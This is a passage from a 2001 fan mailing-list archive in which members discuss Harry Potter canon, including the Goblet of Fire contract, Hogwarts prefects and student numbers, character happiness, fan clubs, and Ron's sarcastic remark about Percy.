> do you think would have happened had Harry NOT taken
> part in the
> Tournament? I know it's a rule that once your name
> comes out of the
> goblet, you have to participate, but nothing
> terrible would happen if
> Harry would not participate. It could've been
> dismissed by Dumbledore as
> a mistake, period. Nothing major would be at stake
> if Harry would've
> opted out. I am puzzle that the rules were taken so
> rigidly and literally
> about the obligation to partake in the tournament.

    Judging by Fairy Tales terrible things do indeed
happen to people who refuse to fulfil magical
obligations. Dumbledore did warn the students that
that there could be no withdrawing after their name
was picked. The fact that the obligation was forced
upon Harry by trickery unfortunately doesn't make any
difference to the blind forces of Magic. We can only
assume that it would have been more dangerous for
Harry to *not* compete than to compete or Dumbledore
would never have allowed it.

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From bookraptor11 at yahoo.com  Sun Sep 23 03:11:30 2001
From: bookraptor11 at yahoo.com (bookraptor11 at yahoo.com)
Date: Sun, 23 Sep 2001 03:11:30 -0000
Subject: Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010922162512.00a5ac40@mail.mcn.org>
Message-ID: <9ojjt2+la0j@eGroups.com>

No: HPFGUIDX 26527

--- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:
> At 03:14 PM 9/22/01 -0700, Kelly wrote:
> >--- Catherine Keegan <keegan at m...> wrote:
> >
> > >The Knight Bus is an alternate form of
> > >transportation (and, it seems, where
> > >the students who flunk out of Hogwarts
> > >go for jobs...).
> >
> >I don't recall reading this.  How did you come to the conclusion 
that
> >Stan Shunpike & Ernie Prang flunked out?
> 
> They didn't appear to be the brightest folks around.  More your 
less than 
> Joe Average.  At least that's how it read to me.

I think it's more a British thing, public school (which would be a 
private school in the US) vs. townies, upper vs. lower class. They 
have Cockney accents, so they probably went to a local school.  Which 
in turn argues that there must be some system of wizard primary 
schools scattered across Great Britain. If you're lower class, unless 
you're particularly intelligent or gifted, maybe you're finished with 
school after 11.  Just a bit of rudimentary magic training. It sounds 
antiquated, but I think others on the list have pointed out that the 
wizard's realm seems to be a bit behind the times compared to the 
muggle world.

By the way, I'm not from England.  I'm just guessing based on old 
movies I've seen about English schooling, Goodbye Mr. Chips in 
particular.  Remember the scene where the schoolboy and the townboy 
(who's already working) get in the fight, wind up friends and die 
together in WW1?  The public school boy is an officer, the townie his 
batman.

Donna




From catlady at wicca.net  Sun Sep 23 03:20:41 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sun, 23 Sep 2001 03:20:41 -0000
Subject: It's All About Remus (was Harry) -- and various other clubs
In-Reply-To: <9ojfkb+7sdq@eGroups.com>
Message-ID: <9ojke9+lvm7@eGroups.com>

No: HPFGUIDX 26528

--- In HPforGrownups at y..., caliburncy at y... wrote:

> And what the heck's the name of the Lupin fan club around here?  
> I'm sure there must be one for my favorite character, right?  

The Wolf Pack?

> Just so long  as it isn't about Lupin's sex appeal (which, for 
> reasons you might  guess, has no impact on me), 

Because you only fancy owls?

> I'd be in on that to.
> 
> -Luke




From mindyatime at juno.com  Sun Sep 23 03:21:58 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Sat, 22 Sep 2001 23:21:58 -0400
Subject: Twins
Message-ID: <20010922.233207.-388527.8.mindyatime@juno.com>

No: HPFGUIDX 26529

I just remembered another thing I wanted to write. Lately someone asked
if the twins in Hogwarts were identical. In PoA, at one point it says
about Gred and Forge that "they were identical down to their last
freckle" and in GoF when Harry wonders if Dennis Creevey will be in
Gryffindor, one of his buddies says that "Padma and Parvati, identical
twins, are in different houses." So both of them are identical.

Twins of the same gender are not necessarily always identical although in
this case they both are. In April of '01 I had a devastating first
trimester miscarriage, in which I lost twin boys. They were not
identical, they were in separate sacs. But, I am getting wildly off topic
here. Sorry. I'll stop the twin discussions right here.
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From jkusalavagemd at yahoo.com  Sun Sep 23 03:31:51 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 23 Sep 2001 03:31:51 -0000
Subject: Happiness 
In-Reply-To: <3BAD0F96.3D09D09C@wicca.net>
Message-ID: <9ojl37+cpm9@eGroups.com>

No: HPFGUIDX 26530

--- In HPforGrownups at y..., Rita Winston <catlady at w...> wrote:

) 
> 
> It's his gentleness, kindness, intelligence, competence. Wow!

> 
> Tabouli wrote:
> 
> > As for the happiness of the characters,
> > there's plenty of room for speculation
> > there: is Dumbledore happy?  Is Hermione?
> > Dudley?  The Weasley twins?
> 
> I am find it very difficult to find words to discuss happiness. When
> speaking metaphysics, surely there must be a distinction between 
saying
> 'a happy person' and 'a cheerful person'. And the word 'contented' 
that
> someone on this thread introduced. Dumbledore is all three: we see 
his
> cheerfulness depicted. His contentment comes from his spiritually
> advanced awareness, knowing that pain, however prolonged, is 
temporary,
> that grief honors the person grieved for, that death is not a 
disaster.
> His happiness is seeing that there are young people preparing to 
carry
> on the fight against evil when he is gone. What is the word for the 
> 'happiness' of knowing that one has been good, has done one's best, 
has
> done one's duty? 

I think you have done rather well in describing happiness, Rita.  It 
is the pursuit of this kind of happiness that Thomas Jefferson named 
an "unalienable right" in the Declaration of Independence. It is not 
giddy laughter, but a very rational eighteenth century neoclassical 
concept, or indeed a classical greek concept, all intertwined with 
Virtue.  One cannot be truly happy without virtue, which is not a 
religious concept but more a striving for Excellence.  I believe as 
you do that Albus Dumbledore has pursued and achieved this kind of 
happiness, which will forever be denied to he-who-must-not-be-named.

Haggridd





From mindyatime at juno.com  Sun Sep 23 03:38:32 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Sat, 22 Sep 2001 23:38:32 -0400
Subject: Wormtail & the wand - # of students
Message-ID: <20010922.234923.-388527.9.mindyatime@juno.com>

No: HPFGUIDX 26531

Sorry for posting so many times in one night but I keep remembering stuff
from PoA.

1. We've made the argument many times already that when a wizard
transforms, he takes his wand with him.

But when Peter grabbed Ron's wand upon coming out from the Whomping
Willow and transfigured himself back into a rat, I don't think he took
the wand with him.

I also thought all along that an animagus does not need a wand to
transform.

So now I am confused.

2. In regards to the argument of how many students there were at Hogwarts
- 280 vs. 1000, there is one place in PoA where it becomes clear that
there were 1000, not 280. At the Quidditch final in PoA, it says that
three-quarters of the crowd was cheering Gryffindor on, but 200 students
were wearing green and cheering for Slytherin. So if there seem to be 200
students per house, there are about 800 students -- round it off to 1000,
as there are probably 200 more squished in somehwere in the 4 houses.

________________________________________________________________
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From catlady at wicca.net  Sun Sep 23 03:50:35 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sun, 23 Sep 2001 03:50:35 -0000
Subject: PoA Paperback - Percy's engagement - Triwizard Tournament
In-Reply-To: <20010922.224920.-388527.6.mindyatime@juno.com>
Message-ID: <9ojm6b+79kn@eGroups.com>

No: HPFGUIDX 26532

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> Ron growls by how obsessed Percy is about Mr. Crouch, he says,
> "They should be announcing their engagement any day now." Oh my 
> gosh, what kind of engagement are they talking about? Is this 
> supposed to be sarcasm? A real slash romance?

It was sarcasm.  Slash romance is So Far out of Ron's idea of 
possibilities that he can say such a thing only as an absurdity, like 
Simon's original claim to be a Harry/Hedwig shipper. (Before Simon 
decided that Hedwig is an Animagus.) Or whoever it was who wrote that 
fanficcers seem to believe that Draco will turn good as soon as 
he gets together with the right 'woman, man, or Kneazle'.

That it is That Far out of Ron's idea of possibilities implies that 
he's never so much as heard of a publically acknowledged homosexual 
relationship. No two men who are 'roommates' but all their friends 
know that there is one double bed in the flat. No celebrity author or 
musician who attends all the celebrity parties, always escorted by
his heavily-made-up sissy-boy of the week, and all the non-celebritys 
read about it in the gossip columns and are thrilled by this brush 
with sophistication (called 'sin' by some). The relationships 
probably nonetheless EXIST, but the relaters try to keep them secret.
I would prefer the relationships to be publically acknowledged and 
accepted, but clearly not everyone agrees.

> What do you think would have happened had Harry NOT taken part in 
> the Tournament? 

Since putting the name in the Goblet creates 'a binding magical 
contract' even tho' it was an unauthorized other person who put the 
name into the Goblet, I expect that the Goblet enforces the contract 
by use of its magic powers. As Fire is a main characteristic of the 
Goblet, perhaps the person who breaks the 'contract' bursts into 
spontaneous combustion and is all burnt up despite any amount of 
water, fire extinguishers, oxygen suppression, etc, maybe at a 
dramatic time like when everyone is cheering for whichever Champion 
just won the Cup in the Third Task. Or coming down with an incurable 
fatal disease with a high fever.

 




From linman6868 at aol.com  Sun Sep 23 04:02:36 2001
From: linman6868 at aol.com (L. Inman)
Date: Sun, 23 Sep 2001 04:02:36 -0000
Subject: Fave Character Fan Clubs :)
In-Reply-To: <3BACC591.60506@swbell.net>
Message-ID: <9ojmss+ghag@eGroups.com>

No: HPFGUIDX 26533

Hello all --

Good God, I go away for a weekend and come back to find all these 
people have started fan clubs for their favorite characters.  Who 
*are* these nuts, anyway??  ;~)

Penny wrote:

> Perhaps we should elaborate on S.C.H.A.B.B. since I only introduced 
it 
> on the Mods list but hadn't described over here on the Main List 
yet. 
> S.C.H.A.B.B. was formed in response to C.R.A.B. (Cut Ron a Break), 
> although I'm told on the Mods list that we can expect there to be 
> overlap between the S.C.H.A.B.B. & C.R.A.B. groups.  :--)
> 
> Okay, so what is SCHABB, you ask?  SCHABB stands for Stop Calling 
> Hermione a Bossy Braggart.  I was going to call it Stop Calling 
Hermione 
> an Insecure Bossy Braggart who is Incapable of Running her own Love 
> Life, but it didn't work into a nice acronym & wasn't going to fit 
on 
> the badges.  

First of all, the moderators list is beginning to seem an awful lot 
like the staff room of a school -- something one would like to peep 
into and get a load of the conversation.  I ought to mention that one 
of my only successful April Fools' jokes concerned a rubber band 
around the handle of the vegetable sprayer of the staff room sink at 
my school.  --But I'm curious as to the Mods' consensus of what 
McGonagall's bra size was -- Mr. Rocky never told us!  :)

Secondly, may I say long live S.C.H.A.B.B. and P.I.N.E., as well as 
the other clubs that spring up as I write.  It's a little like 
healthy patriotism; one approves of other people's clubs as such and 
hopes for long and lively alliances with them.  We should have a 
virtual state dinner, with diplomatic sashes and trumpet flourishes.

You can indeed expect overlap to occur between SCHABB and CRAB -- in 
fact, I will go so far as to advance my own two Sickles in humble 
hope of acceptance in SCHABB.  My sympathy for Hermione extends quite 
far, perhaps as far as my sympathy for myself (my very painful first-
grade year as teacher's pet comes to mind, painful because I hated 
every minute of it, yet found myself bossing everyone about as if I 
relished it).  "My own heart let me more have pity on; let/Me live to 
my sad self hereafter kind,/Charitable; not live this tormented 
mind/With this tormented mind tormenting yet" -- a favorite line from 
Gerard Manley Hopkins, which I use to explain why I personally both 
indulge and cheer for Hermione, especially as I find her rather more 
healthy than myself.

Grace and peace to all.

Lisa I., who wishes her biggest worry could still be what people 
think of C.R.A.B., which it was on Monday the 10th.




From jfaulkne at eden.rutgers.edu  Sun Sep 23 05:36:17 2001
From: jfaulkne at eden.rutgers.edu (Jen Faulkner)
Date: Sun, 23 Sep 2001 01:36:17 -0400 (EDT)
Subject: Percy's engagement
In-Reply-To: <9ojm6b+79kn@eGroups.com>
Message-ID: <Pine.GSO.4.21.0109230041270.21525-100000@er3.rutgers.edu>

No: HPFGUIDX 26534

On Sun, 23 Sep 2001, Catlady (Rita Prince Winston) wrote:

> --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > Ron growls by how obsessed Percy is about Mr. Crouch, he says,
> > "They should be announcing their engagement any day now." Oh my 
> > gosh, what kind of engagement are they talking about? Is this 
> > supposed to be sarcasm? A real slash romance?
> 
> It was sarcasm.  Slash romance is So Far out of Ron's idea of 
> possibilities that he can say such a thing only as an absurdity

Absolutely (though I would point out that 'slash' is not a synonym,
necessarily, for 'same-sex' since it refers to fan produced
fiction/interpretation understood as extra-canonical).  Any
interpretation other than that Ron is being sarcastic is far-fetched in
the extreme.  The statement would not have the intended effect if he
thought a romantic relationship between Percy and Mr. Crouch possible
(the stress then would be on *why* they spend so much time together, not
on the mere fact that they do).

> That it is That Far out of Ron's idea of possibilities implies that 
> he's never so much as heard of a publically acknowledged homosexual 
> relationship. 

This part of your interpretation, Rita, I have trouble with.  For a
number of reasons, I agree that the Potterverse *is* heterosexist
(though I hold out hope that it's not as much as the first four books
(may) have led us to believe -- if Justin *doesn't* turn out gay, for
instance, I will be very surprised, after all that blathering on about
Lockhart he does in CoS).  But I don't think it's necessarily fair to
attribute Ron's characterization of a homosexual relationship between
Percy and Mr. Crouch as impossible to a general 'disbelief' in same-sex
relationships, esp. specifically in long-term, 'marriage-like' ones.  

That could be one reason, certainly, but it could also be that he simply
knows that for Percy (for whom there is no evidence, despite the
numerous slash fics, that he is anything but heterosexual) a same-sex
relationship is so unlikely as to be ludicrous.

Obviously prevailing heterosexism informs that remark and is a necessary
precondition, I would think, for its utterance.  That doesn't disallow
the existence, however, of highly prominent (in terms of social position
and 'visibility') same-sex couples, or less prominent ones known to Ron
personally -- family friends or relatives, neighbors, colleagues of his
father's at the Ministry, or even teachers (whose marital status is,
after all, apparently quite the secret from the readers so far, but will
be revealed later, and thus might already be known to the students).  
Heterosexism is still rampant in our society, yet there are many
prominent, and not-so-prominent, same-sex couples.  Mere visibility is
not enough to reduce heterosexism, nor homophobia.

If you read the remark as springing from Ron's disbelief that Percy
specifically would ever be in a same-sex relationship, it actually
presupposes that Ron would otherwise consider same-sex relationships
possible for some, which then argues that he does have some knowledge of
same-sex couples.  (It needn't, of course, be knowledge coupled with
approval.)  At any rate, I don't think his remark is evidence for the
total invisibility of same-sex relationships in wizard society; if
anything, it suggests it as a conceptual possibility, that it is in fact
a part of the cultural discourse, which otherwise we should have no
reason to suspect.  But I think any speculation as yet for how those
relationships might be viewed, whether there is any understanding of
sexual orientation as an identity, etc., must of necessity be an
argument ex silentio; we simply can't know yet, but that does suggest
certain things, powerfully.

--jen :)

* * * * * * 
Jen's HP fics:
http://www.eden.rutgers.edu/~jfaulkne/hp.html
Snapeslash listmom: http://groups.yahoo.com/group/snapeslash
Yes, I *am* the Deictrix.




From oppen at cnsinternet.com  Sun Sep 23 06:14:13 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sun, 23 Sep 2001 01:14:13 -0500
Subject: Harry, Ron, Percy and Dating/Relationships
Message-ID: <00c101c143f6$f81499c0$dcc71bce@hppav>

No: HPFGUIDX 26535

I actually thought that Harry and Ron were right in character for boys of
the age they were at the Yule Ball.  Most boys that age aren't wildly
interested in dating quite yet; their female age-mates are, but are usually
interested in boys a few years older than themselves, due to the differing
maturation rates between males and females.  At that age, I wasn't
interested much in dating.  Later on, although I was _interested,_ it was an
activity that was right straight out...no money and no car equalled no
status, and therefore, no girlfriend, at least where I grew up. And some
people actually _wonder_ why I am, shall we say, somewhat cynical about the
whole "romance and relationships" thing...(For the record, when I mentioned
this to some of my high school female classmates at a reunion I attended,
they basically said that I'd hit it on the head---one said that she had
always envied me my way with a phrase).  Being at Hogwarts would have made
_that_ rather easier, at least.

As Ron and Harry get older, their dating technique will no doubt improve.
Also, there is nothing about being female that automatically gives
cluefulness about how to treat a partner on a date---my girlfriend and I are
both much older than HP & Co., and she's pulled some classical Code Stupids
dealing with me.  I have very good reason, though, to believe that I'm the
first person to see her as an attractive woman and not just as an incarnate
mind, so I'm quite tolerant.

As for Percy's love life---have you all forgotten Penelope Clearwater, the
Ravenclaw he was so interested in?  To be sure, there's nothing to prevent
Percy from going both ways, but I doubt that JKR would say that was the
case, at least in the books, if only because so many parent-types are
_seriously_ squicked-out by homosexuality, and she already has _enough_
trouble with rabid religious types who think that she's teaching "innocent"
(of what, the Reichstag Fire?) little kiddie-winks to be eee-ville witches
and wizards.

(Parenthetically, if this is so, I feel cheated---I've read the books many
times and can't even cast a simple _Wingardium Leviosa!_  I want my money
back!  I want my money back!)





From stag_sjb at ihug.co.nz  Sun Sep 23 06:28:52 2001
From: stag_sjb at ihug.co.nz (Sarah Jane)
Date: Sun, 23 Sep 2001 18:28:52 +1200
Subject: [HPforGrownups]Re: Question From A befuddled American
References: <1001223382.2423.72336.l9@yahoogroups.com>
Message-ID: <000001c14400$0938f120$1ee3adcb@c3a8h5>

No: HPFGUIDX 26536

Hi, I'm new here ^_^ You can just call me Sarah (just one of the few
trillion Sarah people out there). But I'm from New Zealand, so maybe you can
call me Kiwi Sarah ~_^

On the topic of prefects, I reckon there are twenty-four prefects, because
why would the school bother making fifth and sixth-years prefects and then
not having them as prefects in the seventh year?
What I'm talking about is loosly based on the system at my high school,
except at my school all the prefects are in year 13 (seventh year
equivalent).
In Hogwarts there could be eight prefects in fifth year and sixth year, and
six prefects in seventh year with the other two being the ones elected HB
and HG (who would have had to be prefects before). That means there are two
people from each house in each year fulfilling the role as prefect (if you
do your division). More than likely, a boy and a girl, because it seems to
be pretty gender equal there (at my school, it's two thirds boys and one
third girls, meaning sixteen boy prefects and eight girls).

But, gee, if there are twenty-four, it sounds like they get close to a
palace for a bathroom ;-)

Back to lurkdom,
Sarah

> From: Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com>
> Reply-To: HPforGrownups at yahoogroups.com
> To: HPforGrownups at yahoogroups.com
> Subject: Re: [HPforGrownups]Re: Question From A befuddled American
> Date: Sat, 22 Sep 2001 08:34:26 -0700 (PDT)
>
>
> --- Kyli Wayment <k_wayment at hotmail.com> wrote:
>
> >>I'm the same: Befuddled American, but I have an
> >>idea, although it may not be
> >>correct.
> >>   I figured that prefects are one boy and one girl
> >>from fifth and sixth year
> >>from each house. There are no seventh year prefects
> >>because there is the
> >>Head Boy and Girl.
>
> >So basically you're saying there are two prefects
> >per house, both fifth or sixth year students, right?
>
>   Well, I was thinking that there are four prefects from each house: a boy
> and girl for fifth year and a boy and girl from sixth year.
>   ~Kyli




From mellienel2 at yahoo.com  Sun Sep 23 07:57:20 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sun, 23 Sep 2001 07:57:20 -0000
Subject: Education - Animagus - Lupin - Happiness - Fan of Harry
In-Reply-To: <113.50ac698.28de8e1b@aol.com>
Message-ID: <9ok4l0+jfdu@eGroups.com>

No: HPFGUIDX 26537


> 
>  I didnt understand what you find a little weird  I am curious
> Jenna ( who is coming out of the lurking shadows and never gave a 
proper 
> introduction)

Just that magic children generally don't go to school until they're 
11. :-)






From aiz24 at hotmail.com  Sun Sep 23 09:26:22 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 09:26:22 -0000
Subject: Pre-Hogwarts - Hermione - Clubs - Cricket
Message-ID: <9ok9ru+g1mt@eGroups.com>

No: HPFGUIDX 26538

***warning: this post was written at 4:30 a.m. and it shows***

Ebony wrote:

> While some of the children might be homeschooled, I think there is
> subtext in canon to prove that some sort of pre-secondary wizarding
> education exists.  Haven't we mentioned that some of the students
> seem to know each other?

This is a suggestion I don't remember.  Which students seem to know 
each other, aside from Draco, Crabbe and Goyle?  Those are the only 
ones I recall showing any prior knowledge of each other, and it seems 
easily explained by their dads being . . . chums.  Draco's friendly 
little introductory comment also shows he knows about Ron's family but 
also shows that he has never met him before.

Ebony again:

> I don't think Hermione shows off in the beginning because her ego is
> big.  I think she is a bit insecure and feels as if she needs to
> showcase her knowledge to prove her worth 

I think this is true of most braggarts; they suffer from small egos, 
not big ones.  (They're still braggarts.  But I agree, Hermione has 
improved 500%.  No need to twist my arm, I already have my 
S.C.H.A.B.B. membership card!)

Luke inquired:

> And what the heck's the name of the Lupin fan club around here?  I'm
> sure there must be one for my favorite character, right? 

I suspect there is none for the same reason there hasn't been a Harry 
fan club (until now . . . cue ominous, drums-of-war music)--love of 
Lupin goes without saying.  We could have a club for those few 
misguided souls who *don't* perceive Lupin's charms, if there are any.

Lisa paints a hopeful picture of happy nations meeting for peaceful 
state dinners, but I fear that ten months before the release of OoP 
(please please say it's not more), we seem to be suffering some kind 
of Balkanization.  By May, will we all have withdrawn to separate 
corners, shouting pro-Hermione, pro-Ron, pro-Percy, etc. declarations 
into the middle of the room, muttering evil plots to hex other 
contingents, with a few frantic fans rushing from C.R.A.B. to 
S.C.H.A.B.B. to P.I.N.E. trying to get people to sign treaties?  If 
it's come to needing a group even for fans of Harry, perhaps only the 
universal love of Lupin can unify us.  A new movement after all:  
"What the H.E.L.L." (What the Hey, Everybody Loves Lupin)!  It will be 
the saving us all!

Rowena wrote:

> Nor will I ever forget
> the expressions of total bewilderment on the faces of
> my American Who Fan Club as we watched the Cricket
> game in 'Black Orchid'. Nor did the explanations of
> our British born president help much - Quidditch is
> simple by comparison.

Just to entertain myself recently, I tried to explain the rules of 
baseball to an imaginary passenger--yes, these are the things one does 
to enjoy a long commute when one has listened to all the HP tapes 5 
times in the past 9 months already--and just getting through the 
basics was hard, never mind things like the infield fly rule and 
ground rule doubles.  My admiration for Little League coaches grows 
ever greater.

Amy Z
who has the rules of cricket in a book *and* has had it explained by 
an (admittedly discombobulated) Englishman but still doesn't get it

----------------------------------------------------------------------
 "I say to you all, once again--in the light of Lord Voldemort's  
 return, we are only as strong as we are united, as weak as we are  
 divided.
   "Lord Voldemort's gift for spreading discord and enmity is very
 great.  We can fight it only by showing an equally strong bond of
 friendship and trust.  Differences of habit and language are nothing 
 at all if our aims are identical and our hearts are open."
                                               -Albus Dumbledore  
----------------------------------------------------------------------




From dai_evans at yahoo.com  Sun Sep 23 09:40:46 2001
From: dai_evans at yahoo.com (Dai Evans)
Date: Sun, 23 Sep 2001 09:40:46 -0000
Subject: Happiness of  HP Characters
In-Reply-To: <9oildu+4dg0@eGroups.com>
Message-ID: <9okamu+ui6b@eGroups.com>

No: HPFGUIDX 26539

--- In HPforGrownups at y..., "Ebony" <ebonyink at h...> wrote:
> Tabouli wrote:
>> is Dumbledore happy?  Is Hermione?  Dudley?  The Weasley twins?"
> 
> What an interesting question.  As I began to think about it, I 
> realized that NONE of the characters are really very happy in the 
> truest sense of the word.  I can't help but think of the "shadow" 
> premise of my generations theory... they have happy moments (some 
> more than others--Fred and George might have more, Snape might have 
> less) but IMO none of the characters are truly content.

Don't forget that alot of these characters are teenagers. When was 
the last time you met a happy teenager? Snape obviously has alto of 
reason not to be happy, he's bitter and twisted over his past and his 
current position, that much is obvious. Dumbledore on the other hand 
seems to be happy no matter what the circumstances. This could just 
mean that he has alot of faith in the future, that everything will 
turn out ok, but it could mean that he know something we don't. Like 
the capabilities of the old crowd.


Dai, whose shoulder hurts




From mirzamblack at yahoo.com  Sun Sep 23 10:01:13 2001
From: mirzamblack at yahoo.com (Mirzam Black)
Date: Sun, 23 Sep 2001 10:01:13 -0000
Subject: Is Dedalus Diggle important? (Re: Dedalus Diggle)
In-Reply-To: <20010922221041.19337.qmail@web14207.mail.yahoo.com>
Message-ID: <9okbt9+hfm4@eGroups.com>

No: HPFGUIDX 26540


> Milz <absinthe at m...> wrote:
> 
> >Daedalus Diggle was the one setting
> >off fireworks in SS/PS. 
>
> Kelly Hurt <klhurt at y...> wrote:
> Actually, we don't know that.  We only know that when Prof. 
McGonagall
> heard about shooting stars in Kent, she assumed it was him.

I have been thinking of Diggle for a while now.. Yeah, we don't know 
did he sett off the fireworks, but we do know that he was the one who 
is great Harryfan. 

We do not know anything about Mundungus either, but he is in the old 
gang. So I was thinking, if Diggle is part of the gang too? 
McGonagall and Dumbledore clearly know Diggle and his things, so he 
might be something important too, what do you think?

//Mirzam




From tabouli at unite.com.au  Sun Sep 23 10:58:30 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 23 Sep 2001 20:58:30 +1000
Subject: SCHABB, US/UK/Oz Eng, happiness, morals in HP
Message-ID: <001601c1441e$c62f97c0$b6856fcb@price>

No: HPFGUIDX 26541

Ebony:
> After visiting the UK this summer, I am intrigued by the idea of 
first schools for magical children... and I think I just might have a 
good idea of where the one in Oxfordshire might be hidden.  ;-)

Where?  Where?  Tell all!

More Ebony:
> I don't think Hermione shows off in the beginning because her ego is 
big.  I think she is a bit insecure and feels as if she needs to 
showcase her knowledge to prove her worth in this new world she's 
found herself in. <

**Exactly**.  At 11, when I started secondary school, I was a total Hermione (minus the bossiness: I was a shy, withdrawn know-it-all), and it wasn't because I was a spoilt arrogant egomaniac, it was because I was a self-conscious, insecure, desperate-to-please child who'd been socially rejected at primary school and thought the only way to prove I mattered in any way was to demonstrate how clever I was.  And yes, it backfired on me, and everyone thought I was a show-off, etc.etc.  Which I was, but not for the reasons they assumed.  And yes, I too was totally crushed when I realised I'd actually alienated my peers, not gained their respect and recognition.  Ohhooo, I identify all too well with Hermione... I'll not only join S.C.H.A.B.B., I'll apply for life membership...



Rowena (in reponse to my musings on US/UK language differences):
> Ah, so that's why everybody keeps talking about 'partners' for the Yule Ball rather than 'dates'.
   Mistakes in slang go the other way too.<

I think the characters do refer to "dates" once or twice in GoF, but yes, "date" is a very American term (in Australia people even get hassled for using it for this reason: there's a bit of an anti-US English movement here).  So are phrases like "kind of", and "all right already" (which I believe is very New York) and "to flunk", etc.

As for mistakes in slang going the other way across the Atlantic, yep, of course they do.  However, I have to insert my own nationalistic grimace here and say that efforts of most of the rest of the Anglophone world at reproducing Australian English are, with few exceptions, painfully inept.  Let me get a few things straight here: the word "cobber" has been dead for several decades (in fact, I suspect the last time it was in everyday use was before WW1: even my grandfather born in 1908 didn't say this), NO-ONE refers to Australian men as "bruces" and no-one outside Monty Python ever has (the difficulty I had in convincing South Africans of this was incredible), our accent is *not* identical to Cockney (there was some gruesome Simpsons episode which evoked howls of protest from our shores), and "Aussies" is NOT spelt "Ozzies" (though Australia can be abbreviated to "Oz").

Grrrr.

Of course, given that most Australian TV comes from the US or UK, Australians are on average pretty savvy about the differences between the dialects, and can do at least recognisable attempts at standard Hollywood American and RP English accents.  I often have to attempt this in my training sessions to demonstrate how Australian English differs from the English people from overseas are likely to have learnt in school or university or from TV.  I also cover a lot of more "macro-level" differences between Australian English and other Englishes, like the Australian penchant for extreme understatement and diminishing qualifiers like "just" and "quite" and "a bit".  Americans, in particular, can find the way Australians communicate quite (!) disconcerting.

Re: happiness of HP characters

You know, a mainland Chinese friend of mine once said that Westerners have a problem with happiness: they somehow think that to be happy means to be naive, stupid and unambitious: if they know someone who is always radiantly happy they quickly decide that they're irritating, shallow and insincere.  The theory presumably being that there are so many terrible things in the world that you'd have to be naive and stupid to be happy, and that if you are completely happy there is nothing left to do or strive for.  An interesting, albeit harsh and sweepingly inclusive comment (he's an anthropologist I used to do cross-cultural training with, and he'd privately often come up with harsh but perceptive comments about various cultures, including his own), and one worth considering in terms of our comments on HP characters.

Amy Z:
> I tend to think Remus is happy, more or less, because he seems to have 
an equilibrium that I equate with happiness

jenny:
> Hermione seems to be a fairly happy person but she puts a lot of 
pressure on herself and that can be overwhelming (...) Dumbledore is now burdend with 
the rise of Voldemort and his own inevitable aging, yet he (like I) 
loves Hogwarts and his position there, making his happiness not quite complete.  

I tend to see happiness as a temporary mood state: even a deeply miserable person can get into a good mood now and then.  Maybe what people mean in comments like the above is what I'd see more as a state of peace with one's self and one's actions.

By this definition, Dumbledore, though put in sad moods by happening such as the Potters' murder, Cedric's death and so on, seems at peace with himself and his actions.  Self-sufficient, even. I can't remember him agonising or cursing himself over having done the wrong thing (even though he has on various occasions).  Sirius, on the other hand, tortures himself about his past actions and seems more needy, which may be why he is more tempestuous and hotheaded.  Remus appears to have reached a state of acceptance about his lycanthropy, and is in a sense at peace, though perhaps a sad and lonely peace.

The students are obviously a bit young to have settled in this sense, but a few comments... Hermione is a proactive idealist, the sort who would fight to the end to achieve something and never be satisfied unless she succeeds; I suspect she will find inner peace hard to achieve (there's always more to learn, more causes to fight for, etc.), but so far she does have great faith in her own abilities.  Harry is a sensitive boy, and I suspect he has suppressed a lot of anger and pain which surfaces in times of stress, and which he is learning how to channel productively.  Ron has a complex about being upstaged all the time: to achieve peace he will need to learn the age-old lesson of seeing himself as of absolute, rather than comparative value.  Unlike Harry, however, Ron's happy family life means he's only insecure about what he does, not who he is; a lifetime of the Dursleys has left Harry unsure of himself in lots of ways (witness his fears stemming from the Sorting Hat).

Mindy:
> > Ron growls by how obsessed Percy is about Mr. Crouch, he says,
> > "They should be announcing their engagement any day now." Oh my 
> > gosh, what kind of engagement are they talking about? Is this 
> > supposed to be sarcasm? A real slash romance?
Rita:
> It was sarcasm.  Slash romance is So Far out of Ron's idea of 
> possibilities that he can say such a thing only as an absurdity

(NB I'm all for these discussions, but isn't homosexuality one of the topics The Moderators have cautioned us away from as too inflammatory?)  I wouldn't be too hard on JKR for reflecting the prevailing society in which the wizards are embedded.  Realistically speaking, there aren't many high schools where heterosexuality *isn't* more or less taken as read (except perhaps by teenagers who *aren't* heterosexual, but even they are probably doing their very best to make sure no-one realises this, thus maintaining the status quo).  It's the ol' write the world "as it is" vs "as it should be" dilemma.  I incline towards the former, even though I personally support most of the causes people have mentioned and find many prevailing social attitudes very depressing.

The question we have to ask is *should* the HP books be a vehicle for moral instruction, filled with Strong Female Role Models, Examples of Same-Sex Relationships, Representation of Minority Cultures, demonstrations that Evil Doesn't Pay and so on?  I'm not totally against this, but for me it would have to be very well done, to the extent that it's plausible, subtle and happens almost subconsciously for the reader.  Nothing undermines moral education more than someone standing on a floodlit pulpit thundering sermons into a loudspeaker: a great way to alienate absolutely everyone except the converted!  Not to worry: from what I've read so far in the HP series, I think Jo's up to the task of judicious moral education.  She's even being too judicious, judging by the growing panic of the fundamentalist far right...

Tabouli.


[Non-text portions of this message have been removed]




From blpurdom at yahoo.com  Sun Sep 23 11:43:00 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 23 Sep 2001 11:43:00 -0000
Subject: Happiness/Future Divination Classes
In-Reply-To: <9ojf55+1051u@eGroups.com>
Message-ID: <9okhs4+4hma@eGroups.com>

No: HPFGUIDX 26542

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote: > 
> I don't know what I meant by asking whether RL is happy, because I 
> don't know what JKR meant by saying that the happiest people do not 
> become ghosts.  It's instructive to remember that (IIRC) she said 
> it in the context of being asked whether James and Lily became 
